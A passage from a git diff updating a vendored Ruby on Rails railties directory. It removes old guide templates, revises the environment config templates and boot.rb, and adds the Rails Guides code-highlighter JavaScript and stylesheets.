-							<li><a href="<%=h h.basename %><%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
-						<% end %>
-						</ul>
-					<%- end -%>
-					</li>
-				<%- end -%>
-			<%- else -%>
-				<%- for heading in table_of_contents -%>
-					<li>
-					<a href="<%=h heading.anchor %>"><%= heading.title_without_numbers %></a>
-					<%- if !heading.children.empty? -%>
-						<ul>
-						<% for h in heading.children %>
-							<li><a href="<%=h h.anchor %>"><%= h.title_without_numbers %></a></li>
-						<% end %>
-						</ul>
-					<%- end -%>
-					</li>
-				<%- end -%>
-			<%- end -%>
-			</ol>
-		</div>
-		<% end %>
-		<div id="content">
-			<%- if multi_page? && !is_preamble? -%>
-				<h2 id="<%=h current_chapter.anchor_id %>"><%= current_chapter.title %></h2>
-			<%- else -%>
-				<h1><%=h title %></h1>
-			<%- end -%>
-			<%= contents %>
-			<%- if multi_page? -%>
-			<div id="chapter_navigation">
-				<%- if prev_chapter -%>
-					<div class="left-floaty">
-					<a href="<%=h prev_chapter.basename %>">&laquo; <%= prev_chapter.title %></a>
-					</div>
-				<%- end -%>
-				<%- if next_chapter -%>
-					<div class="right-floaty">
-					<a href="<%=h next_chapter.basename %>"><%= next_chapter.title %> &raquo;</a>
-					</div>
-				<%- end -%>
-			</div>
-			<%- end -%>
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/source/templates/inline.css b/vendor/rails/railties/doc/guides/source/templates/inline.css
deleted file mode 100644
index 1b406733..00000000
--- a/vendor/rails/railties/doc/guides/source/templates/inline.css
+++ /dev/null
@@ -1,165 +0,0 @@
-div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
diff --git a/vendor/rails/railties/environments/boot.rb b/vendor/rails/railties/environments/boot.rb
index 0a516880..dd5e3b69 100644
--- a/vendor/rails/railties/environments/boot.rb
+++ b/vendor/rails/railties/environments/boot.rb
@@ -44,6 +44,7 @@ module Rails
     def load_initializer
       require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer"
       Rails::Initializer.run(:install_gem_spec_stubs)
+      Rails::GemDependency.add_frozen_gem_path
     end
   end
 
@@ -81,8 +82,8 @@ module Rails
       end
 
       def load_rubygems
+        min_version = '1.3.2'
         require 'rubygems'
-        min_version = '1.3.1'
         unless rubygems_version >= min_version
           $stderr.puts %Q(Rails requires RubyGems >= #{min_version} (you have #{rubygems_version}). Please `gem update --system` and try again.)
           exit 1
diff --git a/vendor/rails/railties/environments/environment.rb b/vendor/rails/railties/environments/environment.rb
index 5cb20140..4a2df363 100644
--- a/vendor/rails/railties/environments/environment.rb
+++ b/vendor/rails/railties/environments/environment.rb
@@ -1,9 +1,5 @@
 # Be sure to restart your server when you modify this file
 
-# Uncomment below to force Rails into production mode when
-# you don't control web/app server and can't set it the proper way
-# ENV['RAILS_ENV'] ||= 'production'
-
 # Specifies gem version of Rails to use when vendor/rails is not present
 <%= '# ' if freeze %>RAILS_GEM_VERSION = '<%= Rails::VERSION::STRING %>' unless defined? RAILS_GEM_VERSION
 
@@ -14,62 +10,32 @@ Rails::Initializer.run do |config|
   # Settings in config/environments/* take precedence over those specified here.
   # Application configuration should go into files in config/initializers
   # -- all .rb files in that directory are automatically loaded.
-  # See Rails::Configuration for more options.
 
-  # Skip frameworks you're not going to use. To use Rails without a database
-  # you must remove the Active Record framework.
-  # config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
+  # Add additional load paths for your own custom dirs
+  # config.load_paths += %W( #{RAILS_ROOT}/extras )
 
-  # Specify gems that this application depends on. 
-  # They can then be installed with "rake gems:install" on new installations.
-  # You have to specify the :lib option for libraries, where the Gem name (sqlite3-ruby) differs from the file itself (sqlite3)
+  # Specify gems that this application depends on and have them installed with rake gems:install
   # config.gem "bj"
   # config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
   # config.gem "sqlite3-ruby", :lib => "sqlite3"
   # config.gem "aws-s3", :lib => "aws/s3"
 
-  # Only load the plugins named here, in the order given. By default, all plugins 
-  # in vendor/plugins are loaded in alphabetical order.
+  # Only load the plugins named here, in the order given (default is alphabetical).
   # :all can be used as a placeholder for all plugins not explicitly named
   # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
 
-  # Add additional load paths for your own custom dirs
-  # config.load_paths += %W( #{RAILS_ROOT}/extras )
-
-  # Force all environments to use the same logger level
-  # (by default production uses :info, the others :debug)
-  # config.log_level = :debug
-
-  # Make Time.zone default to the specified zone, and make Active Record store time values
-  # in the database in UTC, and return them converted to the specified local zone.
-  # Run "rake -D time" for a list of tasks for finding time zone names. Comment line to use default local time.
-  config.time_zone = 'UTC'
-
-  # The internationalization framework can be changed to have another default locale (standard is :en) or more load paths.
-  # All files from config/locales/*.rb,yml are added automatically.
-  # config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
-  # config.i18n.default_locale = :de
-
-  # Your secret key for verifying cookie session data integrity.
-  # If you change this key, all old sessions will become invalid!
-  # Make sure the secret is at least 30 characters and all random, 
-  # no regular words or you'll be exposed to dictionary attacks.
-  config.action_controller.session = {
-    :session_key => '_<%= app_name %>_session',
-    :secret      => '<%= app_secret %>'
-  }
-
-  # Use the database for sessions instead of the cookie-based default,
-  # which shouldn't be used to store highly confidential information
-  # (create the session table with "rake db:sessions:create")
-  # config.action_controller.session_store = :active_record_store
-
-  # Use SQL instead of Active Record's schema dumper when creating the test database.
-  # This is necessary if your schema can't be completely dumped by the schema dumper,
-  # like if you have constraints or database-specific column types
-  # config.active_record.schema_format = :sql
+  # Skip frameworks you're not going to use. To use Rails without a database,
+  # you must remove the Active Record framework.
+  # config.frameworks -= [ :active_record, :active_resource, :action_mailer ]
 
   # Activate observers that should always be running
-  # Please note that observers generated using script/generate observer need to have an _observer suffix
   # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
-end
+
+  # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+  # Run "rake -D time" for a list of tasks for finding time zone names.
+  config.time_zone = 'UTC'
+
+  # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+  # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')]
+  # config.i18n.default_locale = :de
+end
\ No newline at end of file
diff --git a/vendor/rails/railties/environments/production.rb b/vendor/rails/railties/environments/production.rb
index ec5b7bc8..27119d2d 100644
--- a/vendor/rails/railties/environments/production.rb
+++ b/vendor/rails/railties/environments/production.rb
@@ -4,21 +4,25 @@
 # Code is not reloaded between requests
 config.cache_classes = true
 
-# Enable threaded mode
-# config.threadsafe!
-
-# Use a different logger for distributed setups
-# config.logger = SyslogLogger.new
-
 # Full error reports are disabled and caching is turned on
 config.action_controller.consider_all_requests_local = false
 config.action_controller.perform_caching             = true
+config.action_view.cache_template_loading            = true
+
+# See everything in the log (default is :info)
+# config.log_level = :debug
+
+# Use a different logger for distributed setups
+# config.logger = SyslogLogger.new
 
 # Use a different cache store in production
 # config.cache_store = :mem_cache_store
 
 # Enable serving of images, stylesheets, and javascripts from an asset server
-# config.action_controller.asset_host                  = "http://assets.example.com"
+# config.action_controller.asset_host = "http://assets.example.com"
 
 # Disable delivery errors, bad email addresses will be ignored
 # config.action_mailer.raise_delivery_errors = false
+
+# Enable threaded mode
+# config.threadsafe!
\ No newline at end of file
diff --git a/vendor/rails/railties/environments/test.rb b/vendor/rails/railties/environments/test.rb
index 1e709e1d..d6f80a40 100644
--- a/vendor/rails/railties/environments/test.rb
+++ b/vendor/rails/railties/environments/test.rb
@@ -12,6 +12,7 @@ config.whiny_nils = true
 # Show full error reports and disable caching
 config.action_controller.consider_all_requests_local = true
 config.action_controller.perform_caching             = false
+config.action_view.cache_template_loading            = true
 
 # Disable request forgery protection in test environment
 config.action_controller.allow_forgery_protection    = false
@@ -20,3 +21,8 @@ config.action_controller.allow_forgery_protection    = false
 # The :test delivery method accumulates sent emails in the
 # ActionMailer::Base.deliveries array.
 config.action_mailer.delivery_method = :test
+
+# Use SQL instead of Active Record's schema dumper when creating the test database.
+# This is necessary if your schema can't be completely dumped by the schema dumper,
+# like if you have constraints or database-specific column types
+# config.active_record.schema_format = :sql
\ No newline at end of file
diff --git a/vendor/rails/railties/guides/files/javascripts/code_highlighter.js b/vendor/rails/railties/guides/files/javascripts/code_highlighter.js
new file mode 100755
index 00000000..ce983dad
--- /dev/null
+++ b/vendor/rails/railties/guides/files/javascripts/code_highlighter.js
@@ -0,0 +1,188 @@
+/* Unobtrustive Code Highlighter By Dan Webb 11/2005
+   Version: 0.4
+
+	Usage:
+		Add a script tag for this script and any stylesets you need to use
+		to the page in question, add correct class names to CODE elements,
+		define CSS styles for elements. That's it!
+
+	Known to work on:
+		IE 5.5+ PC
+		Firefox/Mozilla PC/Mac
+		Opera 7.23 + PC
+		Safari 2
+
+	Known to degrade gracefully on:
+		IE5.0 PC
+
+	Note: IE5.0 fails due to the use of lookahead in some stylesets.  To avoid script errors
+	in older browsers use expressions that use lookahead in string format when defining stylesets.
+
+	This script is inspired by star-light by entirely cunning Dean Edwards
+	http://dean.edwards.name/star-light/.
+*/
+
+// replace callback support for safari.
+if ("a".replace(/a/, function() {return "b"}) != "b") (function(){
+  var default_replace = String.prototype.replace;
+  String.prototype.replace = function(search,replace){
+	// replace is not function
+	if(typeof replace != "function"){
+		return default_replace.apply(this,arguments)
+	}
+	var str = "" + this;
+	var callback = replace;
+	// search string is not RegExp
+	if(!(search instanceof RegExp)){
+		var idx = str.indexOf(search);
+		return (
+			idx == -1 ? str :
+			default_replace.apply(str,[search,callback(search, idx, str)])
+		)
+	}
+	var reg = search;
+	var result = [];
+	var lastidx = reg.lastIndex;
+	var re;
+	while((re = reg.exec(str)) != null){
+		var idx  = re.index;
+		var args = re.concat(idx, str);
+		result.push(
+			str.slice(lastidx,idx),
+			callback.apply(null,args).toString()
+		);
+		if(!reg.global){
+			lastidx += RegExp.lastMatch.length;
+			break
+		}else{
+			lastidx = reg.lastIndex;
+		}
+	}
+	result.push(str.slice(lastidx));
+	return result.join("")
+  }
+})();
+
+var CodeHighlighter = { styleSets : new Array };
+
+CodeHighlighter.addStyle = function(name, rules) {
+	// using push test to disallow older browsers from adding styleSets
+	if ([].push) this.styleSets.push({
+		name : name,
+		rules : rules,
+		ignoreCase : arguments[2] || false
+	})
+
+	function setEvent() {
+		// set highlighter to run on load (use LowPro if present)
+		if (typeof Event != 'undefined' && typeof Event.onReady == 'function')
+		  return Event.onReady(CodeHighlighter.init.bind(CodeHighlighter));
+
+		var old = window.onload;
+
+		if (typeof window.onload != 'function') {
+			window.onload = function() { CodeHighlighter.init() };
+		} else {
+			window.onload = function() {
+				old();
+				CodeHighlighter.init();
+			}
+		}
+	}
+
+	// only set the event when the first style is added
+	if (this.styleSets.length==1) setEvent();
+}
+
+CodeHighlighter.init = function() {
+	if (!document.getElementsByTagName) return;
+	if ("a".replace(/a/, function() {return "b"}) != "b") return; // throw out Safari versions that don't support replace function
+	// throw out older browsers
+
+	var codeEls = document.getElementsByTagName("CODE");
+	// collect array of all pre elements
+	codeEls.filter = function(f) {
+		var a =  new Array;
+		for (var i = 0; i < this.length; i++) if (f(this[i])) a[a.length] = this[i];
+		return a;
+	}
+
+	var rules = new Array;
+	rules.toString = function() {
+		// joins regexes into one big parallel regex
+		var exps = new Array;
+		for (var i = 0; i < this.length; i++) exps.push(this[i].exp);
+		return exps.join("|");
+	}
+
+	function addRule(className, rule) {
+		// add a replace rule
+		var exp = (typeof rule.exp != "string")?String(rule.exp).substr(1, String(rule.exp).length-2):rule.exp;
+		// converts regex rules to strings and chops of the slashes
+		rules.push({
+			className : className,
+			exp : "(" + exp + ")",
+			length : (exp.match(/(^|[^\\])\([^?]/g) || "").length + 1, // number of subexps in rule
+			replacement : rule.replacement || null
+		});
+	}
+
+	function parse(text, ignoreCase) {
+		// main text parsing and replacement
+		return text.replace(new RegExp(rules, (ignoreCase)?"gi":"g"), function() {
+			var i = 0, j = 1, rule;
+			while (rule = rules[i++]) {
+				if (arguments[j]) {
+					// if no custom replacement defined do the simple replacement
+					if (!rule.replacement) return "<span class=\"" + rule.className + "\">" + arguments[0] + "</span>";
+					else {
+						// replace $0 with the className then do normal replaces
+						var str = rule.replacement.replace("$0", rule.className);
+						for (var k = 1; k <= rule.length - 1; k++) str = str.replace("$" + k, arguments[j + k]);
+						return str;
+					}
+				} else j+= rule.length;
+			}
+		});
+	}
+
+	function highlightCode(styleSet) {
+		// clear rules array
+		var parsed, clsRx = new RegExp("(\\s|^)" + styleSet.name + "(\\s|$)");
+		rules.length = 0;
+
+		// get stylable elements by filtering out all code elements without the correct className
+		var stylableEls = codeEls.filter(function(item) { return clsRx.test(item.className) });
+
+		// add style rules to parser
+		for (var className in styleSet.rules) addRule(className, styleSet.rules[className]);
+
+
+		// replace for all elements
+		for (var i = 0; i < stylableEls.length; i++) {
+			// EVIL hack to fix IE whitespace badness if it's inside a <pre>
+			if (/MSIE/.test(navigator.appVersion) && stylableEls[i].parentNode.nodeName == 'PRE') {
+				stylableEls[i] = stylableEls[i].parentNode;
+
+				parsed = stylableEls[i].innerHTML.replace(/(<code[^>]*>)([^<]*)<\/code>/i, function() {
+					return arguments[1] + parse(arguments[2], styleSet.ignoreCase) + "</code>"
+				});
+				parsed = parsed.replace(/\n( *)/g, function() {
+					var spaces = "";
+					for (var i = 0; i < arguments[1].length; i++) spaces+= "&nbsp;";
+					return "\n" + spaces;
+				});
+				parsed = parsed.replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;");
+				parsed = parsed.replace(/\n(<\/\w+>)?/g, "<br />$1").replace(/<br \/>[\n\r\s]*<br \/>/g, "<p><br></p>");
+
+			} else parsed = parse(stylableEls[i].innerHTML, styleSet.ignoreCase);
+
+			stylableEls[i].innerHTML = parsed;
+		}
+	}
+
+	// run highlighter on all stylesets
+	for (var i=0; i < this.styleSets.length; i++) {
+		highlightCode(this.styleSets[i]);
+	}
+}
diff --git a/vendor/rails/railties/guides/files/javascripts/guides.js b/vendor/rails/railties/guides/files/javascripts/guides.js
new file mode 100755
index 00000000..81fc07e7
--- /dev/null
+++ b/vendor/rails/railties/guides/files/javascripts/guides.js
@@ -0,0 +1,8 @@
+function guideMenu(){
+
+  if (document.getElementById('guides').style.display == "none") {
+    document.getElementById('guides').style.display = "block";
+  } else {
+    document.getElementById('guides').style.display = "none";
+  }
+}
diff --git a/vendor/rails/railties/guides/files/javascripts/highlighters.js b/vendor/rails/railties/guides/files/javascripts/highlighters.js
new file mode 100644
index 00000000..4f5f0779
--- /dev/null
+++ b/vendor/rails/railties/guides/files/javascripts/highlighters.js
@@ -0,0 +1,90 @@
+CodeHighlighter.addStyle("css", {
+	comment : {
+		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+	},
+	keywords : {
+		exp  : /@\w[\w\s]*/
+	},
+	selectors : {
+		exp  : "([\\w-:\\[.#][^{};>]*)(?={)"
+	},
+	properties : {
+		exp  : "([\\w-]+)(?=\\s*:)"
+	},
+	units : {
+		exp  : /([0-9])(em|en|px|%|pt)\b/,
+		replacement : "$1<span class=\"$0\">$2</span>"
+	},
+	urls : {
+		exp  : /url\([^\)]*\)/
+	}
+ });
+
+CodeHighlighter.addStyle("ruby",{
+	comment : {
+		exp  : /#[^\n]+/
+	},
+	brackets : {
+		exp  : /\(|\)/
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	keywords : {
+		exp  : /\b(do|end|self|class|def|if|module|yield|then|else|for|until|unless|while|elsif|case|when|break|retry|redo|rescue|require|raise)\b/
+	},
+	/* Added by Shelly Fisher (shelly@agileevolved.com) */
+	symbol : {
+	  exp : /([^:])(:[A-Za-z0-9_!?]+)/
+	},
+	ivar : {
+	  exp : /\@[A-Za-z0-9_!?]+/
+	}
+});
+
+CodeHighlighter.addStyle("html", {
+	comment : {
+		exp: /&lt;!\s*(--([^-]|[\r\n]|-[^-])*--\s*)&gt;/
+	},
+	tag : {
+		exp: /(&lt;\/?)([a-zA-Z1-9]+\s?)/,
+		replacement: "$1<span class=\"$0\">$2</span>"
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	attribute : {
+		exp: /\b([a-zA-Z-:]+)(=)/,
+		replacement: "<span class=\"$0\">$1</span>$2"
+	},
+	doctype : {
+		exp: /&lt;!DOCTYPE([^&]|&[^g]|&g[^t])*&gt;/
+	}
+});
+
+CodeHighlighter.addStyle("javascript",{
+	comment : {
+		exp  : /(\/\/[^\n]*(\n|$))|(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)/
+	},
+	brackets : {
+		exp  : /\(|\)/
+	},
+	string : {
+		exp  : /'[^']*'|"[^"]*"/
+	},
+	keywords : {
+		exp  : /\b(arguments|break|case|continue|default|delete|do|else|false|for|function|if|in|instanceof|new|null|return|switch|this|true|typeof|var|void|while|with)\b/
+	},
+	global : {
+		exp  : /\b(toString|valueOf|window|element|prototype|constructor|document|escape|unescape|parseInt|parseFloat|setTimeout|clearTimeout|setInterval|clearInterval|NaN|isNaN|Infinity)\b/
+	}
+});
+
+CodeHighlighter.addStyle("yaml", {
+	keyword : {
+		exp  : /\/\*[^*]*\*+([^\/][^*]*\*+)*\//
+	},
+	value : {
+		exp  : /@\w[\w\s]*/
+	},
+});
diff --git a/vendor/rails/railties/guides/files/stylesheets/main.css b/vendor/rails/railties/guides/files/stylesheets/main.css
new file mode 100644
index 00000000..d377628d
--- /dev/null
+++ b/vendor/rails/railties/guides/files/stylesheets/main.css
@@ -0,0 +1,441 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+	
+pre,code { margin: 1.5em 0; white-space: pre; overflow: auto; }
+pre,code,tt { font: 1em 'andale mono', 'lucida console', monospace; line-height: 1.5; }
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+  margin:0.5em 0;
+  border:1px solid #bbb;
+}
+
+table {
+	margin: 0 0 1.5em;
+	border: 2px solid #CCC;
+	background: #FFF;
+	border-collapse: collapse;
+}
+ 
+table th, table td {
+	padding: 0.25em 1em;
+	border: 1px solid #CCC;
+	border-collapse: collapse;
+}
+
+table th {
+	border-bottom: 2px solid #CCC;
+	background: #EEE;
+	font-weight: bold;
+	padding: 0.5em 1em;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+	text-align: center;
+	font-family: Helvetica, Arial, sans-serif;
+	font-size: 87.5%;
+	line-height: 1.5em;
+	background: #222;	
+	color: #999;
+	}
+
+.wrapper {
+	text-align: left;
+	margin: 0 auto;
+	width: 69em;
+	}
+
+#topNav {
+	padding: 1em 0;
+	color: #565656;
+}
+
+#header {
+	background: #c52f24 url(../../images/header_tile.gif) repeat-x;
+	color: #FFF;
+	padding: 1.5em 0;
+	position: relative;
+	z-index: 99;
+	}
+
+#feature {
+	background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
+	color: #333;
+	padding: 0.5em 0 1.5em;
+}
+
+#container {
+	background: #FFF;
+	color: #333;
+	padding: 0.5em 0 1.5em 0;
+	}
+
+#mainCol {
+	width: 45em;
+	margin-left: 2em;
+	}	
+
+#subCol {
+	position: absolute;
+	z-index: 0;
+	top: 0;
+	right: 0;
+	background: #FFF;
+	padding: 1em 1.5em 1em 1.25em;
+	width: 17em;
+	font-size: 0.9285em;
+	line-height: 1.3846em;
+	}
+	
+#extraCol {display: none;}
+
+#footer {
+	padding: 2em 0;
+	background: url(../../images/footer_tile.gif) repeat-x;
+	}
+#footer .wrapper {
+	padding-left: 2em;
+	width: 67em;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
+#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+	color: #ee3f3f;
+	text-decoration: underline;
+	}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+
+
+/* Navigation
+--------------------------------------- */
+
+.nav {margin: 0; padding: 0;}
+.nav li {display: inline; list-style: none;}
+
+#header .nav {
+	float: right;
+	margin-top: 1.5em;
+	font-size: 1.2857em;
+}
+
+#header .nav li {margin: 0 0 0 0.5em;}
+#header .nav a {color: #FFF; text-decoration: none;}
+#header .nav a:hover {text-decoration: underline;}
+
+#header .nav .index {
+	padding: 0.5em 1.5em;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	background: #980905;
+	position: relative;
+}
+
+#header .nav .index a {
+	background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
+	padding-right: 1em;	
+	position: relative;
+	z-index: 15;
+	padding-bottom: 0.125em;
+}
+#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
+
+#guides {
+	width: 27em;
+	display: block;
+	background: #980905;
+	border-radius: 1em;
+	-webkit-border-radius: 1em;
+	-moz-border-radius: 1em;
+	-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+	-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+	color: #f1938c;
+	padding: 1.5em 2em;
+	position: absolute;
+	z-index: 10;
+	top: -0.25em;
+	right: 0;
+	padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+	font-weight: normal;
+	font-size: 0.722em;
+	margin: 0;
+	padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+	display: block;
+	border: none;
+	height: 1px;
+	color: #f1938c;
+	background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+	font-size: 2.5em;
+	line-height: 1em;
+	margin: 0.6em 0 .2em;
+	font-weight: bold;
+	}
+
+h2 {
+	font-size: 2.1428em;
+	line-height: 1em;
+	margin: 0.7em 0 .2333em;
+	font-weight: bold;
+	}
+
+h3 {
+	font-size: 1.7142em;
+	line-height: 1.286em;
+	margin: 0.875em 0 0.2916em;
+	font-weight: bold;
+	}
+	
+h4 {
+	font-size: 1.2857em;
+	line-height: 1.2em;
+	margin: 1.6667em 0 .3887em;
+	font-weight: bold;
+	}
+
+h5 {
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: bold;
+}
+
+h6 {	
+	font-size: 1em;
+	line-height: 1.5em;
+	margin: 1em 0 .5em;
+	font-weight: normal;
+	}
+
+.section {
+	padding-bottom: 0.25em;
+	border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+	margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+	float: left;
+	background: url(../../images/rails_guides_logo.gif) no-repeat;
+	width: 297px;
+	text-indent: -9999em;
+	margin: 0;
+	padding: 0;
+}
+
+#header h1 a {
+	text-decoration: none;
+	display: block;
+	height: 77px;
+}
+
+#feature p {
+	font-size: 1.2857em;
+	margin-bottom: 0.75em;
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+	list-style: none;
+	background: url(../../images/check_bullet.gif) no-repeat left 0.5em;
+	padding: 0.5em 1.75em 0.5em 1.75em;
+	font-size: 1.1428em;
+	font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+	padding: 0.25em 0 1em;
+	border-bottom: 1px solid #CCC;
+	margin-bottom: 1em;
+	margin-left: 0;
+	/*padding-left: 28px;*/
+	padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+	font-size: 1.2857em;
+	padding: 0.125em 0 0.25em 0;
+	margin-bottom: 0;
+	/*background: url(../../images/book_icon.gif) no-repeat left top;
+	padding: 0.125em 0 0.25em 28px;*/
+}
+
+#mainCol dd.ticket, #subCol dd.ticket {
+	background: #fff9d8 url(../../images/tab_yellow.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+	background: #f9d9d8 url(../../images/tab_red.gif) no-repeat left top;
+	border: none;
+	padding: 1.25em 1.25em 1.25em 48px;
+	margin-left: 0;
+	margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+	list-style: none;
+	padding: 0 0 0 1em;
+	background: url(../../images/bullet.gif) no-repeat left 0.45em;
+	margin-left: 0;
+	font-size: 1em;
+	font-weight: normal;
+}
+
+tt {
+	font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+}
+
+div.code_container {
+	background: #EEE url(../../images/tab_grey.gif) no-repeat left top;
+	padding: 0.25em 1em 0.5em 48px;    
+}
+
+code {
+	font-family: monaco, "Bitstream Vera Sans Mono", "Courier New", courier, monospace;
+	border: none;
+	margin: 0.25em 0 1.5em 0;
+	display: block;
+}
+
+.note {
+	background: #fff9d8 url(../../images/tab_note.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+	background: #d5e9f6 url(../../images/tab_info.gif) no-repeat left top;
+	border: none;
+	padding: 1em 1em 0.25em 48px;
+	margin: 0.25em 0 1.5em 0;
+}
+
+.note tt, .info tt {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+	list-style:none;
+	background: url(../../images/grey_bullet.gif) no-repeat left 0.5em;
+	padding-left: 1em;
+	margin-left: 0;
+}
+
+#subCol .content {
+	font-size: 0.7857em;
+	line-height: 1.5em;
+}
+
+#subCol .content li {
+	font-weight: normal;
+	background: none;
+	padding: 0 0 1em;
+	font-size: 1.1667em;
+}
+	
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+    content: "."; 
+    display: block; 
+    height: 0; 
+    clear: both; 
+    visibility: hidden;
+}
+
